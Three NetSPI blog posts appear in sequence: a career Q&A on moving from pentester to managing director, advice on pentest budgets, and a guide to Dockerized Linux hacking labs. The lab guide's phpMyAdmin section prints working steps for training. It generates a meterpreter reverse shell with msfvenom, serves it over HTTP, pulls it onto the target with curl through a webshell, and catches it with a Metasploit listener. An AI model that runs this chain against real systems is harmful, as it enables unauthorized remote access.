In this Q&A, NetSPI Managing Director Sam Horvath, shares his career journey from penetration tester to cybersecurity strategist, offering five actionable tips for technologists who aspire to hold leadership roles: 

1. Embrace challenges and seek new opportunities to expand your skill set and advance your career.  
2. Be adaptable and open to reshaping your role to align with your aspirations.  
3. Seek mentorship from both internal and external sources. 
4. Focus on both hard and soft skills development, including technical expertise and strategic vision.  
5. Be proactive and show up with solutions.

Introduction 

Career paths are rarely linear when working in security, and few stories show this better than NetSPI’s Managing Director, Sam Horvath. Sam’s journey into cybersecurity was fueled by a long-standing curiosity about the field. His entry into pentesting was a pivotal step, setting the stage for a transition from a technical role to a strategist position down the road.  

Today, Sam is at the forefront of guiding some of the world’s largest technology companies and financial institutions toward robust security strategies. Discover how he navigated his career transition and gain insights from his experiences as he shares tips along the journey. 

How did you get started in penetration testing, and how has your career evolved over time?  

I was in a non-security role and really looking for what to do next but had no idea what to do. I always had a peripheral interest in security, but never had the chance to actively pursue specialization in the field.  

That all changed one day when I got a text from a former classmate who asked me if I wanted a chance to learn more about security, and a new job to go along with it. A few phone calls and interviews later, and I was thrilled to join NetSPI University’s first formal class in 2018. I spent six months learning about the basics of information security and penetration testing, and then passed our internal assessments to work on real-world customers. 

After a few years, I was able to expand my skill sets, both in web application penetration testing and social engineering, and really enjoyed the work. I found that I got a lot of satisfaction out of technical leadership for our large financial and technology clients, and really enjoyed interacting with our customers. 

“A few phone calls and interviews later, and I was thrilled to join NetSPI University’s first formal class, back in 2018. I spent six months learning about the basics of information security and penetration testing, and then passed our internal assessments to work on real-world clients.”

Tip #1: Embrace challenges and seek new opportunities to expand your skill set and advance your career.  

When I hit a point during the pandemic where I felt like I needed a fresh challenge, I was able to do something that I think really represents the core ethos of NetSPI — I approached our company leadership to express an interest in doing something different. At many companies, this would not be met with a warm response. At NetSPI, the response was: “Okay great – let’s figure something out.”  

I transitioned to the Managing Director team and was very lucky to spend a year learning from a few of our most knowledgeable team members. Eventually, I was given my own customers to handle, and things took off from there! Fast forward to today, and I spend most of my time working with some of the largest technology and insurance companies in the world. 

Tip #2: Be adaptable and open to reshaping your role to align with your aspirations. 

What responsibilities do you have in your role as a Managing Director? 

As a Managing Director at NetSPI, I leverage my past experience as a penetration tester and my more recent experience as a strategic advisor to ensure that NetSPI is constantly executing its work at the highest standard possible.  

This can include anything from creating metrics with the customer that help measure the success of their penetration testing program to addressing concerns around testing focus areas and methodology. The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and a proactive security strategy around what they want their penetration testing program to accomplish.

“The major theme around my work is helping security leaders shift their viewpoint and operations from dealing with the next challenge six inches in front of their face, one after the other, to executing long-term planning and strategy around what they want their penetration testing program to accomplish.”

What steps did you take to prepare yourself professionally for the transition from technologist to strategist?    

The single most important step that I took professionally in this new role was to seek out and embrace mentorship.  

Tip #3: Seek mentorship from both internal and external sources to develop your professional skills and navigate your career path.  

I engaged with multiple folks both internal and external to NetSPI to help guide me through specific areas of skill development: 

1. Professional hard skills development, such as how to run a penetration testing program, policy creation, vulnerability measurements, and creating and running a business review. 
2. Soft skills development, including conflict resolution, leading from the middle, and managing up. 
3. Career mapping, as in how to point oneself and what they’re learning and developing in a specific direction. 

By actively seeking mentorship and leveraging the experiences of the people around me, I built skills for leadership roles and navigating cybersecurity planning more effectively.

What kind of challenges did you encounter and how did you move past them?   

The early challenges I encountered were around being in a role that was undefined at the time. When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.  

Tip #4: Focus on both hard and soft skills development, including technical expertise and strategic vision.  

“When you’re still shaping your role, it can be easy to get caught in the same trap that security executives do – just putting out the next fire or responding to what people need from you. It signifies an admirable intent to help everyone around you, but six months later you can look back and realize you haven’t made the lasting impact you wanted to.”

The other early challenge I encountered was my skill set. I was very familiar with being a penetration tester and had led and participated in highly complex technical programs for some of the world’s leading tech companies. But that didn’t begin to cover what I needed to know to be successful in my new role.  

I had to look to the direction of a handful of folks senior to me at NetSPI to learn how to earn trust and become a strategic advisor to a customer, negotiate difficult situations both internally and externally, understand security program strategy and maturity, and many other items. And I had to learn it all as fast as possible.  

How does your day-to-day as a managing director compare to your day in the life of a penetration tester?  

My current role is very different than my time as a practitioner. First, work isn’t assigned to me, and there’s no one else who I can look to as responsible to drive an effort forward. If we don’t succeed for our customers, the buck stops with me.  

I miss being technical, but I love that I can be more strategic. In my current role, I often get to have “big idea” strategy discussions – how we attune our larger movements and goals for the year ahead, and I then work with our teams to translate that into tactical actions and initiatives.  

An important piece of these discussions is the preparation and use of vulnerability data to illustrate the overall state of a customer’s program, and that’s something I love doing as a Managing Director, that I did not get to do at all as a consultant. I often spend hours and hours working with vulnerability data to discover trends and recommend initiatives to our customers. This is one of a few key areas at NetSPI where true impact to the security program becomes a reality. 

Can you share any advice for technologists looking to evolve their role into cybersecurity leadership?  

To move into bigger shoes, you first have to show you’ve got big feet. Take responsibility for an initiative or ask to ride along with someone on it. Find something you’re passionate about within the company and become the expert! 

Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.   

Become borderline maniacal about feedback. Ask for it from everyone you can. As human beings, we tend to have an opinion on most things we see in the workplace, and life in general. Most people won’t proactively share their opinions with you at work regarding your own performance, so make sure you go ask whoever you can for feedback on your working style and skill set. You’ll be surprised at how valuable that process is.   

“Be ready to screw up – you’re going to make a lot of mistakes as you learn to play a bigger role, and that’s okay. Having a good mentor will help you learn from those mistakes, and so will being self-aware.”

Tip #5: Be proactive and show up with solutions.   

Finally, and most importantly – act on the feedback you get. Everyone has things they can get better at – if you do 1% better every day, you will be 37 times better at that thing in a year.   

Conclusion 

Sam’s journey from pentester to Managing Director shows the dynamic nature of career paths in cyber. His insights are a valuable guide for technologists aspiring to step into leadership roles. By embracing challenges, seeking mentorship, and actively developing both hard and soft skills, professionals can position themselves for growth and influence in their fields.  

Whether you’re getting started in cybersecurity or contemplating a shift into leadership, the tips Sam shared provide a roadmap to navigate the complexities of this critical transition. Explore NetSPI’s open positions and help secure the most trusted brands on Earth. 

The post 5 Essential Cybersecurity Leadership Tips for Technologists  appeared first on NetSPI.

In my current role as Technical Client Director and from my former experience as a penetration tester, I’ve helped many organizations optimize components of the penetration testing process to get the greatest value out of their allotted budget and assessment scope. 

While your penetration testing budget is only one piece of your organization’s overall information security funding, a few key details can help inform your decision making around this important and often stressful process. 

What Does a Successful Penetration Test Look Like? 

First, it’s important to define what a successful penetration test should look like. Key characteristics of a high value penetration test include: 

• A solid deliverable: A generic PDF summary of your vulnerabilities doesn’t hold much value. A well-written report that clearly meets the objectives of the test, the actions taken, and highlights the greatest risks to your business will set a great penetration test apart from the rest. 
• Great communication: An unsuccessful pentest is one where you finalize the scope and do not hear from your testing team until you get your results. They must be collaborative from start to finish. Maintain regular status reports, engage in conversations to clear up areas of confusion, and communicate with your pentesters to better understand the impact of your most critical findings. 
• Ongoing access to results, metrics, and expertise: A successful pentesting partnership should provide you the tools and resources to help you manage and prioritize your vulnerability results, identify metrics that communicate the big picture, and give you real-time access to the testers that identified the vulnerabilities so that you can ask questions and chart the best course for remediation. It should also provide you with strategic guidance and partnership that gives you insight into information security trends and how they apply to your organization.  

Getting Started 

A pentest can be costly, time-consuming, and frustrating if done incorrectly. But it is an essential piece of an organization’s vulnerability management program when done right. Looking for a refresher on the types of pentesting, the process, and key trends in the space? Explore our introductory guide. 

Organizations can begin optimizing their pentesting program before an assessment even begins. The process starts with defining the scope of the test. Consider these influential factors: 

• Number of endpoints or size of your application, network range, etc.  
• Compliance and regulatory requirements  
• How sensitive the information contained in the application, network, cloud infrastructure, etc. is to your organization 

Organizations navigating which tests to budget for in the upcoming financial year should lean on their strategic pentesting partner to help understand their needs and objectives. 

How to Enhance the Value of Your Pentest 

Budget optimization doesn’t begin and end during the scoping process. There are many penetration testing best practices that can be enhanced to get the most value out of each engagement. 

1. Demonstrate the functionality of the application, network, or cloud platform with your pentest team in the weeks leading up to your test. This meeting is pivotal in setting the trajectory of the assessment as it will help your testing team understand where to prioritize their manual testing efforts.
2. Have the right person available to manage the pentest. However, that person’s role may vary from company to company. As for who you think is best suited, make sure it’s somebody who can dedicate their time before, during, and after the assessment. This person should have sufficient technical knowledge of the test environment to answer complex questions, as well as access to troubleshoot and manage any issues that arise during the engagement.
3. Before any testing begins, set clear expectations across teams, and ensure there is a collective understanding of remediation timeline requirements, meeting times, the desired testing window, and the ability to provide key engagement items before a project begins (for example, API documentation, testing accounts, or documentation around role permissions).
4. Equip your pentesting team to start the assessment without weeks of recon. Pentesters are bound by time, adversaries are not. Give your pentesting team as much information as you can about the target environment. This will empower them to focus their time on creative manual testing techniques that uncover critical vulnerabilities. Read additional insights on the value of an open box vs. black box pentest in this blog post.
5. Get organized. There is one common thread that ties a great penetration test together: organization. Those who are organized, can provide the pentesting team with the most up-to-date information, are available to answer questions, and set clear expectations, will ultimately get the most value out of their pentesting budget. 

Selecting the right penetration testing company 

Selecting the right penetration testing company for your needs is a crucial component to the success of your engagements (we’ve got a guide for that, too).  

Ensure that you’re working with an offensive security firm that acts as a true strategic partner. They should operate as an extension of your team to help guide and advise you on how to best allocate your budget and resources to get the most value out of your pentest. 

GET MORE VALUE: Ready to get more value out of your pentesting budget? Explore NetSPI’s penetration testing services.

The post How to Optimize Your Penetration Testing Budget appeared first on NetSPI.

If you’re not familiar with Docker, check out the links below to get started.

• https://www.docker.com/sites/default/files/d8/2019-09/docker-cheat-sheet.pdf
• https://docs.docker.com/

For those unfamiliar with Scott Sutherland‘s existing Linux Hacking Case Studies blog series, Scott put together a series of labs that focus on exploiting common Linux issues. To make the lab environments a little easier to spin up, we’ve converted these labs into Docker images.

If you already have a base skill-set in penetration testing but want to increase your abilities in exploiting Linux-based systems, then these labs are for you. If you’re reading these titles and scratching your head at some unfamiliar terms, read the accompanying blog links first, then run through the labs to get a better understanding of the vulnerabilities.

For some of the following labs, two Docker images are used. One of the Docker images is used to run the container for the lab itself, and the other contains the msf_base image that is used to run the container for the attacker and contains the Metasploit framework necessary for doing so.

These instructions were created with the intent that you are running Windows, with WSL2 for necessary Linux operations, as well as Docker for Windows.

Lab 1: Attacking insecure Rsync configurations

In Lab 1, the participant learns about Rsync – a commonly used file copy/sync utility present on many Linux distributions.

Installation/Run Instructions

1. Pull and run the Lab 1 Docker container, which spins up a vulnerable Rsync server.

   $ docker run -dit --rm netspi/lab1 bash
   Unable to find image 'netspi/lab1:latest' locally
   latest: Pulling from netspi/lab1
   692c352adcf2: Already exists 
   [TRUNCATED]
   3af53b42f112: Pull complete 
   4530eae3603e: Pull complete 
   Digest: sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b0dcc99f222bc28d
   Status: Downloaded newer image for netspi/lab1:latest
   f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5638d7daa

2. Grab the container ID of the netspi/lab1 container.

   $ docker run -dit --rm netspi/lab1 bash
   Unable to find image 'netspi/lab1:latest' locally
   latest: Pulling from netspi/lab1
   692c352adcf2: Already exists 
   [TRUNCATED]
   3af53b42f112: Pull complete 
   4530eae3603e: Pull complete 
   Digest: sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b0dcc99f222bc28d
   Status: Downloaded newer image for netspi/lab1:latest
   f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5638d7daa

3. From another terminal, record the IP of your Lab 1 docker container. You’ll use this IP as a target for Nmap scans later in the lab.

   $ docker inspect [container ID] | grep -F -m 1 \"IPAddress\":
               "IPAddress": "172.17.0.2",

4. Now pull and run your msf_base container, launching into an interactive bash shell.

   $ docker run -it --rm netspi/msf_base bash 
   Unable to find image 'netspi/msf_base:latest' locally
   latest: Pulling from netspi/msf_base
   692c352adcf2: Pull complete 
   [TRUNCATED]
   fb2fa6eca858: Pull complete 
   Digest: sha256:2ec64fb7fa8c05c8e5b6b746539f6bd0bb52f9d6feaf98ff9ab2868adefca5c0
   Status: Downloaded newer image for netspi/msf_base:latest
   root@32be66de5038:/#

5. Continue by following the lab here, using the Lab 1 container as the target host and the msf_base container as the attacking host: https://blog.netspi.com/linux-hacking-case-studies-part-1-rsync/ .
6. After you have finished the lab, be sure to stop your container to avoid taking up resources. (Note that the container can be referenced using the first four characters of the ID returned after pulling and running the new container in step one.)

   $ docker stop f608
    f608

Lab 2: Attacking insecure NFS exports and setuid configurations

Lab 2 will walk would-be Linux masters through attacking some common vulnerabilities in two widely used technologies/protocols – NFS exports and setuid configurations. One unique aspect of this lab includes using a little imagination.

In a perfect world, the lab would involve two separate Docker containers – one representing the attacker computer (running Metasploit) and a second representing the target (hosting the NFS exports).

However, nfs-client utilities such as rpcinfo and showmount don’t have the ability to communicate across Docker containers, so NetSPI reworked the attack scenario to give lab users the closest possible real-world approximation in this format. Both the target and the attacker are located in the same Docker container, so the attacker should execute the attack path outlined in the blog post linked below against 127.0.0.1.

Installation/Run Instructions

1. Pull and run the netspi/lab2 image in privileged mode.

   $ docker run --privileged --rm -d netspi/lab2
   Unable to find image 'netspi/lab2:latest' locally
   latest: Pulling from netspi/lab2
   692c352adcf2: Already exists 
   [TRUNCATED]
   89f04cf1b6f3: Pull complete 
   Digest: sha256:be6363a0aa1715aa0a97824b131aa620c7509e47668bc5d1475c1985fb6d98be
   Status: Downloaded newer image for netspi/lab2:latest
   dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd40286515548b5a7

2. Run an interactive shell in the container noted above.

   $ docker exec -it dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd40286515548b5a7 bash

3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-2-nfs/. Note that you should skip the steps in which you log in to the target host using SSH, as both our target host and attacking host are one and the same due to the limitations of Docker described above.
4. After you’re finished with the lab, stop the container.

   $ docker stop dd68
   dd68

Lab 3: Attacking insecure phpMyAdmin configurations and world-writable files

The steps in Lab 3 will teach students how to attack phpMyAdmin instances found during routine port scans. The steps to complete the lab represent a significant departure from the attack path discussed in the blog linked below, though they exhibit the same concepts.

Installation/Run Instructions

1. Pull the netspi/lab3 image with Docker

   $ docker pull netspi/lab3

2. List the Docker images and note the ID for the lab3 image

   $ docker images
   
   REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
   netspi/lab3         latest              4d30e4fe9cb9        6 months ago        975MB

3. Run the lab 3 Docker image using the previously noted image ID, making sure to expose port 80 so the MSF container can access the phpMyAdmin service on the vulnerable container (netspi/lab3). Be sure to use docker inspect to note the IP address of the container for later.

   docker run -dit -p 80:80 [image ID]

4. In a separate terminal, start a session within the MSF container to use as your attacker machine.

   $ docker run -it --rm netspi/msf_base bash                  
   root@e6cfb4c91a9f:/#

5. Note the IP of the msf_base image you just spun up, you will need this later.

   $docker ps
   CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
   3ab944f8c546 1df49e2310ff "bash" 9 minutes ago Up 9 minutes 0.0.0.0:4444->4444/tcp great_swirles
   e4ef60c9518d netspi/msf_base "bash" 12 minutes ago Up 12 minutes objective_austin
   14469fadfd40 4d30e4fe9cb9 "/run.sh" 13 minutes ago Up 13 minutes 0.0.0.0:80->80/tcp, 3306/tcp romantic_williamson
   
   $docker inspect e4ef60c9518d | grep -F -m 1 \"IPAddress\":
   "IPAddress": "172.17.0.3

6. Using a web browser on the computer you’re running all your Docker containers on, navigate to https://127.0.0.1/phpmyadmin/index.php
7. Follow the attack vector detailed in Scott’s blog here to brute force the password to the phpMyAdmin instance, as well as write a webshell in SQL to upload to the same instance’s backend. After you have written the webshell, refer to attack setup below to continue the exploit.

Attack Setup

The way phpMyAdmin was ported to Docker containers precludes an attacker from generating a reverse shell via cron job as depicted in Scott’s blog. To mitigate this problem, an alternative exploit was developed. The cmd.php file you just uploaded contains the curl command that will reach out and and pull a hosted reverse shell from a simpleHTTPServer running on the MSF Docker container you spun up above – this effectively replicates the backdoor outlined in Scott’s blog, but within the constraints effected by running phpMyAdmin on Docker. Using Docker to do all this means you don’t have to go through troubleshooting a phpMyAdmin install, etc. and can focus on learning the exploit itself.

1. In a third terminal window, open an msfconsole bash container with port 4444 exposed

   $ docker run -it --rm -p 4444:4444 {msf_base ​​​​image ID}​​​​  bash

2. Generate a reverse shell with the msfvenom module

   1. Use a separate terminal window to grab the LHOST value for the msf_base container running with port 4444 exposed.
      

      $ docker inspect {lab3 container ID} | grep  -F -m 1 \“IPAddress\“:
      "IPAddress": "172.17.0.3,

       

   2. Generate the reverse shell using the same msf_base container that you plan to use to serve the simpleHTTPServer in the next step.

      $ msfvenom -p php/meterpreter_reverse_tcp LHOST=172.17.0.3 LPORT=4444 -f raw > reverseshell.php

3. In the MSF Docker container you started earlier, spin up a simple Python HTTP server to host the reverse shell file. This allows you to curl the reverse shell from the victim computer.

   $ python -m SimpleHTTPServer 8088

4. In the GUI located at https://127.0.0.1/phpmyadmin/cmd.php, use the webshell uploaded previously to curl for the reverseshell.php file that was just created in the MSF container. The IP address should be the IP of the Docker container you pulled in step 5 of the installation instructions.

   $ curl docker_container_IP:8088/reverseshell.php -o reverseshell.php

   If you performed the above steps correctly, you will see the resulting GET request from the curl command be processed by the SimpleHTTPServer.

5. Open another terminal window and access the same MSF container using the following steps:
   1. List all your running Docker containers

      $ docker ps 
      CONTAINER ID   IMAGE             COMMAND     CREATED          STATUS          PORTS                          NAMES
      f3c1bdede660   4d30e4fe9cb9      "/run.sh"   4 minutes ago    Up 4 minutes    0.0.0.0:80->80/tcp, 3306/tcp   eloquent_bell
      5623af2f7ecf   netspi/msf_base   "bash"      33 minutes ago   Up 33 minutes   0.0.0.0:4444->4444/tcp         goofy_noyce

   2. Access the bash terminal of the running msf_base container that has port 4444 exposed.

      $ docker exec -it 5623af2f7ecf bash 
      root@5623af2f7ecf:/#

6. Set up a listener on the MSF container using the new bash terminal you just opened. (The window not currently running the SimpleHTTPServer on port 8088). The LHOST IP should match the IP of the msf_console Docker container that has port 4444 exposed.

   $ root@5623af2f7ecf:/# msfconsole
   $ msf6 > use exploit/multi/handler
   [*] Using configured payload generic/shell_reverse_tcp
   $ msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
   PAYLOAD => linux/x64/meterpreter_reverse_tcp
   $ msf6 exploit(multi/handler) > set LPORT 4444
   LPORT => 4444
   $ msf6 exploit(multi/handler) > set LHOST 172.17.0.3
   LHOST => 172.17.0.3
   $ msf6 exploit(multi/handler) > run
   
   [*] Started reverse TCP handler on 172.17.0.3:4444

7. Navigate to https://127.0.0.1/phpmyadmin/reverseshell.php
   1. Go back to your MSF container and type shell to open a shell. Then run a bash command to confirm that you have bash control of the phpMyAdmin console.

      $ shell
      $ whoami
      www-data

8. Congratulations, you now have a reverse shell running on the target host.

Lab 4: Different ways to approach SSH password guessing and attacking sudo applications

Lab 4 will teach you to attack SSH passwords and sudo applications, and is perhaps the most accessible to those who are new to penetration testing.

Installation/Run Instructions

1. Pull and run the Lab 4 Docker container.

   $ docker run -dit --rm netspi/lab4 tail -f /dev/null 
   Unable to find image 'netspi/lab4:latest' locally
   latest: Pulling from netspi/lab4
   692c352adcf2: Already exists 
   [TRUNCATED]
   d759bf5b0446: Pull complete 
   Digest: sha256:eca1ff10dcbcaf2aec164cb97f447c94853259d989ee122b271ab0325ffcef66
   Status: Downloaded newer image for netspi/lab4:latest
   944da34600eb9cf03b6dfc4423494897b0625974894039ef6a5e330d9955ca67

2. Pull and run the msf_base container.

   $ docker run -it --rm netspi/msf_base bash 
   root@2bed01938a23:/#

3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-4-sudo-horror-stories/. All commands from here on out can be run from the msf_base container.
4. Once you have finished the lab, be sure to stop the container(s).

   $ docker stop 944d
   944d

Lab 5: Summary

Created with docker-compose, this lab is simply a consolidated way of running labs 1-4 and creating an msf_console container all in one swoop. Following the instructions below, docker-compose will create and start labs 1-4 as well as present you with an msf_console container from which to test. From there, follow the blog posts for labs 1-4 any time you get stuck!

Installation/Run Instructions

1. Clone the Github repository

   $ git clone git@github.com:NetSPI/NetSPI-Docker-Labs.git 
   Cloning into 'NetSPI-Docker-Labs'...
   remote: Enumerating objects: 33, done.
   remote: Counting objects: 100% (33/33), done.
   remote: Compressing objects: 100% (30/30), done.
   remote: Total 33 (delta 0), reused 33 (delta 0), pack-reused 0
   Receiving objects: 100% (33/33), 8.97 KiB | 4.48 MiB/s, done.

2. cd to the Lab 5 directory in the repository you just cloned.
3. Run the Docker compose command to build and run the necessary images

   $ docker-compose up -d
   Creating network "lab5" with driver "bridge"
   Pulling lab3 (netspi/lab3:)...
   latest: Pulling from netspi/lab3
   c64513b74145: Pull complete
   01b8b12bad90: Pull complete
   [TRUNCATED]
   b74cb7320347: Pull complete
   0b77cb4369b4: Pull complete
   9e2e5286c54e: Pull complete
   Digest: sha256:303d80067ad6ad5e07fd3d1e7d2b67e32fec652d374f44ea9458098ba085c6f0
   Status: Downloaded newer image for netspi/lab3:latest
   Creating lab5_lab3_1 ... done
   Creating lab5_lab1_1 ... done
   Creating lab5_lab2_1 ... done
   Creating lab5_lab4_1 ... done

4. Obtain the IP addresses of the launched containers for further use in attack scenarios.

   $ docker network inspect lab5 | grep '"Name": \| "IPv4Address": "'
   "Name": "lab5",
   "Name": "lab5_lab1_1",
   "IPv4Address": "172.18.0.5/16",
   "Name": "lab5_lab3_1",
   "IPv4Address": "172.18.0.4/16",
   "Name": "lab5_lab4_1",
   "IPv4Address": "172.18.0.3/16",
   "Name": "lab5_lab2_1",
   "IPv4Address": "172.18.0.2/16",

5. Start the MSF container in the same network as the other lab5 containers

   $ docker run -it --network=lab5 netspi/msf_base bash
   root@0bea0cb52b2a:/#

6. After you’re done with the labs, take down the containers. Be sure to run this command from the same folder you launched the containers from originally.

   $ docker-compose down

Conclusion

Congratulations on getting this far – you’re ready to start learning. Take your time, read the blogs carefully, and proceed with *some* caution. For more penetration testing news and resources, follow NetSPI on Twitter, and if you’re having any issues with the labs that you want to ask us about, give us a shout on the GitHub repository for the labs! Finally, a huge thanks to Scott Sutherland, Emerson Drapac, Rafael Seferyan, and Bjorn Buttermann for the mountain of work they did creating these labs and the blog posts they’re based on.

The post Dockerizing the NetSPI Linux Labs appeared first on NetSPI.